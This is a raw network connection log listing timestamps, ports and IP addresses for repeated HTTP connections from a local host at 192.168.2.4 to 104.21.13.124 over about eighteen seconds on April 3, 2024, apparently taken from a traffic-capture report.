Apr 3, 2024 06:38:11.398580074 CEST | 49797 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:11.400710106 CEST | 49797 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:11.525484085 CEST | 80 | 49797 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:11.525583029 CEST | 49797 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:11.649497986 CEST | 80 | 49797 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:11.955082893 CEST | 80 | 49797 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:11.955425024 CEST | 49797 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:11.955435038 CEST | 80 | 49797 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:11.955496073 CEST | 49797 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:12.079294920 CEST | 80 | 49797 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:12.088033915 CEST | 49798 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:12.213035107 CEST | 80 | 49798 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:12.213171959 CEST | 49798 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:12.218805075 CEST | 49798 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:12.343528986 CEST | 80 | 49798 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:12.343585968 CEST | 49798 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:12.468389034 CEST | 80 | 49798 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:12.639208078 CEST | 80 | 49798 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:12.639481068 CEST | 49798 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:12.639695883 CEST | 80 | 49798 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:12.639744043 CEST | 49798 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:12.764391899 CEST | 80 | 49798 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:12.784976959 CEST | 49799 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:12.909537077 CEST | 80 | 49799 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:12.909706116 CEST | 49799 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:12.911561966 CEST | 49799 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:13.036138058 CEST | 80 | 49799 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:13.036227942 CEST | 49799 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:13.160737038 CEST | 80 | 49799 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:13.334644079 CEST | 80 | 49799 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:13.334855080 CEST | 49799 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:13.335016012 CEST | 80 | 49799 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:13.335074902 CEST | 49799 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:13.459078074 CEST | 80 | 49799 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:13.531444073 CEST | 49800 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:13.655956030 CEST | 80 | 49800 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:13.656055927 CEST | 49800 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:13.658000946 CEST | 49800 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:13.782228947 CEST | 80 | 49800 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:13.782311916 CEST | 49800 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:13.910772085 CEST | 80 | 49800 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:14.072319031 CEST | 80 | 49800 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:14.072463989 CEST | 80 | 49800 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:14.072506905 CEST | 49800 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:14.072565079 CEST | 49800 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:14.198400974 CEST | 80 | 49800 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:14.213397026 CEST | 49801 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:14.338550091 CEST | 80 | 49801 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:14.338680983 CEST | 49801 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:14.340653896 CEST | 49801 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:14.465898991 CEST | 80 | 49801 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:14.465980053 CEST | 49801 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:14.591234922 CEST | 80 | 49801 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:14.900976896 CEST | 80 | 49801 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:14.901127100 CEST | 80 | 49801 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:14.901211977 CEST | 49801 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:14.901366949 CEST | 49801 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:15.026755095 CEST | 80 | 49801 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:15.042678118 CEST | 49802 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:15.169672012 CEST | 80 | 49802 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:15.169848919 CEST | 49802 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:15.179954052 CEST | 49802 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:15.304358006 CEST | 80 | 49802 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:15.304460049 CEST | 49802 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:15.429006100 CEST | 80 | 49802 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:15.592637062 CEST | 80 | 49802 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:15.592861891 CEST | 80 | 49802 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:15.592948914 CEST | 49802 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:15.593266964 CEST | 49802 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:15.717541933 CEST | 80 | 49802 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:15.745353937 CEST | 49803 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:15.870239973 CEST | 80 | 49803 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:15.870340109 CEST | 49803 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:15.873778105 CEST | 49803 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:16.002449036 CEST | 80 | 49803 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:16.002515078 CEST | 49803 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:16.127106905 CEST | 80 | 49803 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:16.293138981 CEST | 80 | 49803 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:16.293315887 CEST | 80 | 49803 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:16.293389082 CEST | 49803 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:16.293500900 CEST | 49803 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:16.418615103 CEST | 80 | 49803 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:16.442502022 CEST | 49804 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:16.567193031 CEST | 80 | 49804 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:16.567301989 CEST | 49804 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:16.574817896 CEST | 49804 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:16.699460030 CEST | 80 | 49804 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:16.699525118 CEST | 49804 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:16.824630022 CEST | 80 | 49804 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:16.999825954 CEST | 80 | 49804 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:17.000066042 CEST | 49804 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:17.000086069 CEST | 80 | 49804 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:17.000133991 CEST | 49804 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:17.125062943 CEST | 80 | 49804 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:17.142575026 CEST | 49805 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:17.267518997 CEST | 80 | 49805 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:17.267607927 CEST | 49805 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:17.269664049 CEST | 49805 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:17.397427082 CEST | 80 | 49805 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:17.397470951 CEST | 49805 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:17.522234917 CEST | 80 | 49805 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:17.697709084 CEST | 80 | 49805 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:17.697885036 CEST | 80 | 49805 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:17.697942019 CEST | 49805 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:17.698059082 CEST | 49805 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:17.823147058 CEST | 80 | 49805 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:17.845719099 CEST | 49806 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:17.970484018 CEST | 80 | 49806 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:17.970582962 CEST | 49806 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:17.972593069 CEST | 49806 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:18.097359896 CEST | 80 | 49806 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:18.097440004 CEST | 49806 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:18.222312927 CEST | 80 | 49806 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:18.401093006 CEST | 80 | 49806 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:18.401465893 CEST | 49806 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:18.401567936 CEST | 80 | 49806 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:18.401614904 CEST | 49806 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:18.526243925 CEST | 80 | 49806 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:18.556688070 CEST | 49807 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:18.681617022 CEST | 80 | 49807 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:18.681752920 CEST | 49807 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:18.685116053 CEST | 49807 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:18.809968948 CEST | 80 | 49807 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:18.810034990 CEST | 49807 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:18.934787035 CEST | 80 | 49807 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:19.107027054 CEST | 80 | 49807 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:19.107049942 CEST | 80 | 49807 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:19.107251883 CEST | 49807 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:19.107456923 CEST | 49807 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:19.232214928 CEST | 80 | 49807 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:19.245073080 CEST | 49808 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:19.370002985 CEST | 80 | 49808 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:19.370317936 CEST | 49808 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:19.372255087 CEST | 49808 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:19.497020960 CEST | 80 | 49808 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:19.497173071 CEST | 49808 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:19.622214079 CEST | 80 | 49808 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:19.941133022 CEST | 80 | 49808 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:19.941402912 CEST | 49808 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:19.941622972 CEST | 80 | 49808 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:19.941673994 CEST | 49808 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:20.066174984 CEST | 80 | 49808 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:20.071832895 CEST | 49809 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:20.196595907 CEST | 80 | 49809 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:20.196723938 CEST | 49809 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:20.198908091 CEST | 49809 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:20.323723078 CEST | 80 | 49809 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:20.323904991 CEST | 49809 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:20.448620081 CEST | 80 | 49809 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:20.621764898 CEST | 80 | 49809 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:20.621896982 CEST | 80 | 49809 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:20.621957064 CEST | 49809 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:20.622046947 CEST | 49809 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:20.746812105 CEST | 80 | 49809 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:20.763391972 CEST | 49810 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:20.888449907 CEST | 80 | 49810 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:20.888618946 CEST | 49810 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:20.890742064 CEST | 49810 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:21.015768051 CEST | 80 | 49810 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:21.015816927 CEST | 49810 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:21.140733957 CEST | 80 | 49810 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:21.458014965 CEST | 80 | 49810 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:21.458277941 CEST | 49810 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:21.458767891 CEST | 80 | 49810 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:21.458827019 CEST | 49810 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:21.583231926 CEST | 80 | 49810 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:21.634752035 CEST | 49811 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:21.759380102 CEST | 80 | 49811 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:21.761653900 CEST | 49811 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:21.763703108 CEST | 49811 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:21.889270067 CEST | 80 | 49811 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:21.889727116 CEST | 49811 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:22.014458895 CEST | 80 | 49811 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:22.333748102 CEST | 80 | 49811 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:22.334011078 CEST | 49811 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:22.334578991 CEST | 80 | 49811 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:22.334639072 CEST | 49811 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:22.458620071 CEST | 80 | 49811 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:23.393223047 CEST | 49812 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:23.518439054 CEST | 80 | 49812 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:23.518513918 CEST | 49812 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:23.522238970 CEST | 49812 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:23.647387981 CEST | 80 | 49812 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:23.647484064 CEST | 49812 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:23.772469044 CEST | 80 | 49812 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:23.938572884 CEST | 80 | 49812 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:23.938994884 CEST | 49812 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:23.939038038 CEST | 80 | 49812 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:23.939106941 CEST | 49812 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:24.064591885 CEST | 80 | 49812 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:24.078783035 CEST | 49813 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:24.202847004 CEST | 80 | 49813 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:24.202967882 CEST | 49813 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:24.205255985 CEST | 49813 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:24.329761982 CEST | 80 | 49813 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:24.329957962 CEST | 49813 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:24.453954935 CEST | 80 | 49813 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:24.761571884 CEST | 80 | 49813 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:24.761760950 CEST | 80 | 49813 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:24.761879921 CEST | 49813 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:24.762188911 CEST | 49813 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:24.886348963 CEST | 80 | 49813 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:24.908118010 CEST | 49814 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:25.034145117 CEST | 80 | 49814 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:25.034265041 CEST | 49814 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:25.036535025 CEST | 49814 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:25.161720991 CEST | 80 | 49814 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:25.164449930 CEST | 49814 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:25.289616108 CEST | 80 | 49814 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:25.455316067 CEST | 80 | 49814 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:25.455564976 CEST | 49814 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:25.455748081 CEST | 80 | 49814 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:25.455801964 CEST | 49814 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:25.581630945 CEST | 80 | 49814 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:25.592376947 CEST | 49815 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:25.716851950 CEST | 80 | 49815 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:25.716950893 CEST | 49815 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:25.719182014 CEST | 49815 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:25.843698025 CEST | 80 | 49815 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:25.843756914 CEST | 49815 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:25.970282078 CEST | 80 | 49815 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:26.271128893 CEST | 80 | 49815 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:26.271483898 CEST | 49815 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:26.272341013 CEST | 80 | 49815 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:26.272417068 CEST | 49815 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:26.395890951 CEST | 80 | 49815 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:26.407269955 CEST | 49816 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:26.532128096 CEST | 80 | 49816 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:26.532237053 CEST | 49816 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:26.534492016 CEST | 49816 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:26.659269094 CEST | 80 | 49816 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:26.659351110 CEST | 49816 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:26.785478115 CEST | 80 | 49816 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:26.953021049 CEST | 80 | 49816 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:26.953311920 CEST | 49816 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:26.953478098 CEST | 80 | 49816 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:26.953538895 CEST | 49816 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:27.078615904 CEST | 80 | 49816 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:27.092103958 CEST | 49817 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:27.216531038 CEST | 80 | 49817 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:27.216702938 CEST | 49817 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:27.224946976 CEST | 49817 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:27.349489927 CEST | 80 | 49817 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:27.349596024 CEST | 49817 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:27.474124908 CEST | 80 | 49817 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:27.639605999 CEST | 80 | 49817 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:27.639785051 CEST | 80 | 49817 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:27.639834881 CEST | 49817 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:27.639861107 CEST | 49817 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:27.766010046 CEST | 80 | 49817 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:27.777508020 CEST | 49818 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:27.902149916 CEST | 80 | 49818 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:27.902333975 CEST | 49818 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:27.904800892 CEST | 49818 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:28.029297113 CEST | 80 | 49818 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:28.029470921 CEST | 49818 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:28.156018019 CEST | 80 | 49818 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:28.327128887 CEST | 80 | 49818 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:28.327415943 CEST | 49818 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:28.327642918 CEST | 80 | 49818 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:28.327694893 CEST | 49818 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:28.451987982 CEST | 80 | 49818 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:28.466964006 CEST | 49819 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:28.591388941 CEST | 80 | 49819 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:28.591489077 CEST | 49819 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:28.593678951 CEST | 49819 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:28.717993021 CEST | 80 | 49819 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:28.718050003 CEST | 49819 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:28.842442036 CEST | 80 | 49819 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:29.010371923 CEST | 80 | 49819 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:29.010633945 CEST | 49819 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:29.011312962 CEST | 80 | 49819 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:29.011363983 CEST | 49819 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:29.135049105 CEST | 80 | 49819 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:29.151451111 CEST | 49820 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:29.276515007 CEST | 80 | 49820 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:29.276597023 CEST | 49820 | 80 | 192.168.2.4 | 104.21.13.124 |
